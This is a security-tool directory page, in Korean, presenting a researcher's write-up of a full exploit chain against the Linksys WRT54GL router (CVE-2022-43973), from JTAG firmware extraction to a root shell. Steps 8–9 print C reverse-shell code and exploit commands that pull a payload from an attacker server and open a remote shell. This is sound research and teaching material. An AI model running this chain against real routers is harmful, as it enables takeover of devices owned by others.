Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Linksys-WRT54GL-Exploitation — 납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973) | Kitploit
도구/GitHubGitHub/umbertodellamonica/linksys-wrt54gl-exploitation
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationReverse EngineeringDebuggersPenetration TestingHardware SecurityBinary Analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
Payload Development
Firmware Analysis
GitHubumbertodellamonica/linksys-wrt54gl-exploitation

Linksys-WRT54GL-Exploitation

납땜에서 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)

저장소 보기
2234개월 전아직 검토되지 않음

납땜부터 셸까지: Linksys WRT54GL 라우터의 전체 하드웨어 익스플로잇 (CVE-2022-43973)

JTAG 핀 탐색부터 MIPS 기반 가정용 라우터의 원격 코드 실행까지 — 10단계 임베디드 보안 연구 여정.

저자Umberto Della Monica
역할MSc 사이버보안 학생 — 임베디드 보안 연구원
날짜2026년 5월
저장소Linksys-WRT54GL-Exploitation

고지 사항: 본 연구는 제가 개인적으로 소유한 하드웨어에서 교육 및 연구 목적으로만 수행되었습니다. 허가되지 않은 시스템에는 접근하지 않았습니다. 여기에 설명된 모든 기법은 본인이 소유하거나 명시적인 서면 승인을 받은 기기에만 재현해야 합니다. 저자는 제시된 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 적용 가능한 법률, 규정 및 책임 있는 공개 관행을 준수하십시오.


목차

  • 요약
  • 대상 기기 개요
  • 1–2단계: 하드웨어 정찰 및 핀 탐색
  • 3–4단계: JTAG 디버깅 및 펌웨어 추출
  • 5–6단계: 펌웨어 분석 및 에뮬레이션
  • 7단계: 취약점 연구 — CVE-2022-43973
  • 8단계: 페이로드 개발 — MIPS 리버스 셸
  • 9단계: 익스플로잇 전달 및 루트 셸
  • 10단계: 네트워크 및 세션 분석
  • 도구 및 기술
  • 주요 시사점
  • 참고 자료
  • 상세 문서
  • 라이선스

요약

  • 대상: Linksys WRT54GL v1.1 — Broadcom BCM5352 칩셋(MIPS 32비트 아키텍처) 기반의 널리 배포된 가정용 라우터
  • 취약점: CVE-2022-43973 — HTTP 관리 인터페이스의 명령 주입을 통한 원격 코드 실행
  • 범위: 물리적 JTAG 접근부터 원격 루트 셸까지 10단계에 걸친 하드웨어-소프트웨어 전체 익스플로잇 체인
  • 결과: 맞춤형 MIPS 리버스 셸 페이로드를 통해 완전한 원격 루트 셸 확보
  • 도구: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker 및 Broadcom MIPS 크로스 컴파일 툴체인

Linksys WRT54GL v1.1


대상 기기 개요

Linksys WRT54GL은 지금까지 생산된 소비자용 라우터 중 가장 상징적인 제품 중 하나입니다. 오픈소스 펌웨어 지원 덕분에 매니아와 연구자 모두에게 사랑받았습니다. 오래된 기기임에도 불구하고 전 세계에서 여전히 활발히 사용되고 있어 임베디드 보안 연구의 유의미한 대상이 되고 있습니다.

내부 아키텍처


1–2단계: 하드웨어 정찰 및 핀 탐색

모든 하드웨어 보안 평가의 첫 단계는 물리적 검사입니다. 기기 케이스를 연 후 PCB에서 두 개의 디버그 인터페이스를 식별했습니다.

  • 하드웨어 수준 디버깅을 위한 12핀 JTAG 헤더(미실장)
  • 3.3V TTL 레벨로 동작하는 10핀 시리얼(UART) 포트

JTAG 헤더가 미실장 상태였기 때문에 디버그 인터페이스에 접근하기 위해 임시 핀 헤더를 납땜했습니다. 멀티미터를 사용하여 접지(GND)와 Vcc 라인을 식별하고 대상 기기가 3.3V 로직 레벨로 동작함을 확인했습니다 — 이는 칩셋 손상을 방지하는 데 중요합니다.

JTAGulator를 이용한 JTAG 핀 탐색

JTAG 신호를 매핑하기 위해 Grand Idea Studio의 JTAGulator를 사용했습니다 — 가능한 모든 핀 조합을 프로빙하여 디버그 인터페이스를 자동으로 식별하도록 설계된 하드웨어 도구입니다.

JTAGulator는 다음과 같은 JTAG 핀아웃을 성공적으로 식별했습니다.

root@kitploit:~
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG 포트 근접 촬영

JTAGulator 핀 탐색

물리적 연결: Linksys와 JTAGulator


3–4단계: JTAG 디버깅 및 펌웨어 추출

JTAG 핀을 식별한 후 FTDI FT2232H 칩을 탑재한 오픈소스 하드웨어 보안 평가 도구(GNU GPL v3.0)인 Attify Badge를 라우터의 JTAG 헤더에 연결했습니다.

공식 구성이 이 특정 하드웨어 리비전과 호환되지 않았기 때문에 BCM5352 대상에 맞게 조정된 사용자 정의 구성으로 OpenOCD(Open On-Chip Debugger)를 실행했습니다.

플래시 메모리 레이아웃

사용자 정의 OpenOCD 구성은 라우터의 플래시 파티션 레이아웃을 정의합니다.

펌웨어 덤프

CPU를 중지(halt)시킨 후 메모리 매핑된 NOR 플래시 전체 4 MB를 덤프했습니다.

root@kitploit:~
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD 펌웨어 추출


5–6단계: 펌웨어 분석 및 에뮬레이션

binwalk을 이용한 정적 분석

binwalk을 사용하여 펌웨어 덤프를 분석하고 내장된 파일시스템, 압축 세그먼트 및 커널 이미지를 식별했습니다:

root@kitploit:~
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # entropy analysis
sha256sum ./dumps/wrt54gl.bin     # integrity verification

분석 결과 표준 BusyBox 기반 Linux 환경을 포함하는 SquashFS 루트 파일시스템이 확인되었습니다. 더 깊은 검사를 위해 binwalk -e와 unsquashfs를 사용하여 추출했습니다.

FirmAE를 이용한 펌웨어 에뮬레이션

안전한 테스트 환경을 만들기 위해 MIPS 아키텍처를 지원하는 자동화된 펌웨어 에뮬레이션 프레임워크인 FirmAE를 사용하여 펌웨어 에뮬레이션을 설정했습니다. 이를 통해 가상 환경에서 라우터의 서비스(HTTP, telnet)를 재현하고 물리적 기기에 위험을 주지 않고 익스플로잇을 테스트할 수 있었습니다.

binwalk 펌웨어 분석

FirmAE 에뮬레이션


7단계: 취약점 연구 — CVE-2022-43973

MIPS 디컴파일러 플러그인이 포함된 Ghidra(NSA의 리버스 엔지니어링 프레임워크)를 사용하여 추출된 펌웨어 바이너리에 대한 정적 분석을 수행하고 CVE-2022-43973의 존재를 확인했습니다.

취약점 세부 정보

이 취약점은 라우터의 CGI 요청 처리기에 존재합니다. /apply.cgi 엔드포인트의 ui_language 양식 필드는 삭제(sanitization) 없이 임의의 입력을 허용합니다. ;cmd; 구문으로 감싼 셸 명령을 주입함으로써 공격자는 명령을 스테이징한 후 /upgrade.cgi를 통해 펌웨어 업그레이드가 트리거될 때 실행되게 할 수 있습니다.

영향을 받는 펌웨어 버전:

  • v4.30.18(최신) — 세션 기반 인증 필요
  • v4.30.16(이전) — HTTP 기본 인증만 사용

Ghidra에서 CVE-2022-43973 확인


8단계: 페이로드 개발 — MIPS 리버스 셸

라우터의 MIPS 아키텍처에 맞게 제작된 맞춤형 리버스 셸을 C로 개발했습니다. 이 페이로드는 공격자에게 역방향 TCP 연결을 설정하고 모든 표준 파일 디스크립터를 소켓으로 리다이렉트한 후 대화형 셸을 실행합니다:

root@kitploit:~
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // redirect stdin
dup2(sockt, 1);   // redirect stdout
dup2(sockt, 2);   // redirect stderr

execve("/bin/sh", sh_argv, NULL);

Docker를 이용한 크로스 컴파일

대상 아키텍처용 페이로드를 컴파일하기 위해 공식 Linksys GPL 릴리스(WRT54GL-ETSI_v4.30.18.006)에서 제공된 Broadcom MIPS 크로스 컴파일 툴체인(hndtools-mipsel-linux-3.2.3)을 포함하는 재현 가능한 Docker 환경을 구축했습니다:

root@kitploit:~
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

결과 바이너리는 이식성을 위해 정적으로 링크됩니다 — 대상 기기에 공유 라이브러리 의존성이 없습니다.

익스플로잇 빌드


9단계: 익스플로잇 전달 및 루트 셸

CVE-2022-43973을 활용하여 전체 공격 체인을 자동화하는 Python 익스플로잇 프레임워크를 개발했습니다. 이 익스플로잇은 ui_language 파라미터를 통해 각각 명령으로 주입되는 4단계 시퀀스를 실행합니다:

공격 시퀀스

  1. 페이로드 업로드 — 공격자의 HTTP 서버에서 MIPS 리버스 셸 바이너리를 라우터의 /tmp/X로 다운로드하는 wget 명령 주입
  2. 권한 설정 — 바이너리를 실행 가능하게 만드는 chmod +x /tmp/X 주입
  3. 페이로드 실행 — 리버스 셸을 실행하는 /tmp/X <attacker_ip> <port> 주입
  4. 정리 — ui_language을 기본값(en)으로 재설정

각 명령은 ui_language 필드에 ;cmd;로 감싸 POST /apply.cgi를 통해 전송됩니다. 이후 POST /upgrade.cgi가 실행을 트리거합니다.

실행

공격자 머신에는 세 개의 터미널이 필요합니다:

root@kitploit:~
# Terminal 1: Serve the reverse shell binary
python -m http.server 8000

# Terminal 2: Listen for the incoming reverse shell
nc -lvnp 4141

# Terminal 3: Launch the exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

결과: 루트 셸

리버스 셸은 공격자의 Netcat 리스너로 역방향 연결을 설정하여 라우터에서 대화형 루트 셸을 제공합니다.

리버스 셸 업로드

익스플로잇 실행

루트 셸 접근


10단계: 네트워크 및 세션 분석

전체 익스플로잇 체인을 검증하기 위해 공격 중 Wireshark로 네트워크 트래픽을 캡처했습니다. 분석 결과 다음을 확인했습니다:

  • /apply.cgi 및 /upgrade.cgi에 대한 올바른 HTTP POST 주입 시퀀스
  • 공격자의 HTTP 서버에서 wget을 통한 페이로드 다운로드 성공
  • 포트 4141에서 수립된 리버스 셸 TCP 연결
  • 세션 쿠키 및 인증 흐름 무결성

도구 및 기술


주요 시사점

  1. 물리적 접근은 강력한 공격 벡터입니다. JTAG은 모든 소프트웨어 보안 메커니즘을 우회하는 루트 수준의 하드웨어 접근을 제공합니다. 임베디드 기기를 배포하는 조직은 물리적 보안 통제와 프로덕션 펌웨어에서 디버그 인터페이스 비활성화를 고려해야 합니다.

  2. 펌웨어 추출은 기본입니다. 펌웨어를 덤프하고 분석하면 하드코딩된 자격 증명, 구성 데이터, 네트워크 관점에서는 보이지 않는 취약한 코드 경로를 포함한 전체 소프트웨어 스택이 드러납니다.

  3. 에뮬레이션은 안전하고 반복 가능한 연구를 가능하게 합니다. FirmAE와 같은 도구를 통해 연구자는 가상 환경에서 기기 동작을 재현할 수 있으며, 물리적 하드웨어를 위험에 빠뜨리거나 의도하지 않은 결과를 유발하지 않고 반복적인 테스트가 가능합니다.

  4. 단순한 입력 검증 실패가 치명적인 영향을 미칩니다. CVE-2022-43973은 웹 인터페이스의 단일 비검증 양식 필드가 루트 수준 접근 권한을 가진 전체 기기 탈취로 이어질 수 있음을 보여줍니다. 입력 검증, 최소 권한, 안전한 코딩 관행을 포함한 심층 방어가 여전히 필수적입니다.

  5. 재현 가능한 툴체인이 중요합니다. Docker 기반 크로스 컴파일 환경은 페이로드와 도구를 안정적으로 재빌드할 수 있게 보장하여 연구 결과를 검증 가능하고 공유 가능하게 만듭니다.

  6. 레거시 기기는 지속적인 위험입니다. WRT54GL은 전 세계적으로 여전히 활발히 사용되고 있습니다. 더 이상 보안 업데이트를 받지 못하는 수명 종료(EOL) 기기는 네트워크 보안에 지속적인 위협이 됩니다.


참고 자료

취약점

  • CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
  • CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

하드웨어 도구

  • Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
  • JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
  • JTAG 표준 — IEEE 1149.1(표준 테스트 액세스 포트 및 경계 스캔 아키텍처)

소프트웨어 도구

  • OpenOCD — https://openocd.org/
  • Ghidra — https://ghidra-sre.org/
  • FirmAE — https://github.com/pr0v3rbs/FirmAE
  • Firmadyne — https://github.com/firmadyne/firmadyne
  • binwalk — https://github.com/ReFirmLabs/binwalk

공급업체

  • Linksys WRT54GL 펌웨어 — https://www.linksys.com/us/support-article?articleNum=148648
  • Linksys GPL 툴체인 — https://www.linksys.com/us/support-article?articleNum=114663

상세 문서

심층적인 기술 세부 사항은 다음 문서를 참조하십시오:

문서설명
Hardware Inventory기기 사양, 핀아웃, 데이터시트 및 하드웨어 도구
Software Stack

라이선스

이 프로젝트는 MIT 라이선스에 따라 배포됩니다 — 자세한 내용은 LICENSE 파일을 참조하십시오.

Attify 또는 JTAGulator 회로도를 복제하는 경우 각각의 라이선스(Attify 구성 요소는 GNU GPL v3.0)를 따르십시오.


Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec

도구 다운로드
사양값
칩셋Broadcom BCM5352
CPU 클록200 MHz
아키텍처MIPS 32비트(리틀 엔디안)
플래시 메모리4 MB NOR(0xbfc00000에 메모리 매핑됨)
RAM16 MB
무선IEEE 802.11b/g, 54 Mbps
네트워크4x LAN + 1x WAN, SPI 지원 NAT 방화벽
OSLinux 기반(BusyBox)
부트로더CFE(Common Firmware Environment)
파티션설명시작 주소크기
CFE부트로더0xbfc00000256 KB
펌웨어커널 + 루트 파일시스템0xbfc40000~3.7 MB
NVRAM구성0xbfff000064 KB
필드값
CVE IDCVE-2022-43973
유형원격 코드 실행(RCE)
공격 벡터인증된 HTTP 요청
근본 원인검증되지 않은 ui_language 파라미터를 통한 명령 주입
엔드포인트POST /apply.cgi
트리거POST /upgrade.cgi(펌웨어 업그레이드)
영향전체 루트 수준 명령 실행
분류도구용도참조
하드웨어Attify BadgeJTAG/UART 인터페이스 어댑터docs.attify.com (GNU GPL v3.0)
하드웨어JTAGulator자동 디버그 핀 탐색Grand Idea Studio
소프트웨어OpenOCDJTAG 디버깅 및 플래시 접근openocd.org
소프트웨어Ghidra정적 분석 및 디컴파일ghidra-sre.org (NSA)
소프트웨어binwalk펌웨어 분석 및 추출ReFirmLabs
소프트웨어FirmAE펌웨어 에뮬레이션(MIPS)GitHub
소프트웨어Firmadyne펌웨어 동적 분석GitHub
소프트웨어Docker재현 가능한 빌드 환경docker.com
툴체인hndtools-mipsel-linuxBroadcom MIPS 크로스 컴파일러Linksys GPL 릴리스
소프트웨어Python 3익스플로잇 자동화 프레임워크python.org
소프트웨어Wireshark네트워크 트래픽 분석wireshark.org
표준IEEE 1149.1JTAG 경계 스캔 표준IEEE
Docker 설정, OpenOCD 구성, 툴체인 세부 사항 및 문제 해결
Exploitation Procedure명령과 스크린샷이 포함된 단계별 10단계 워크플로우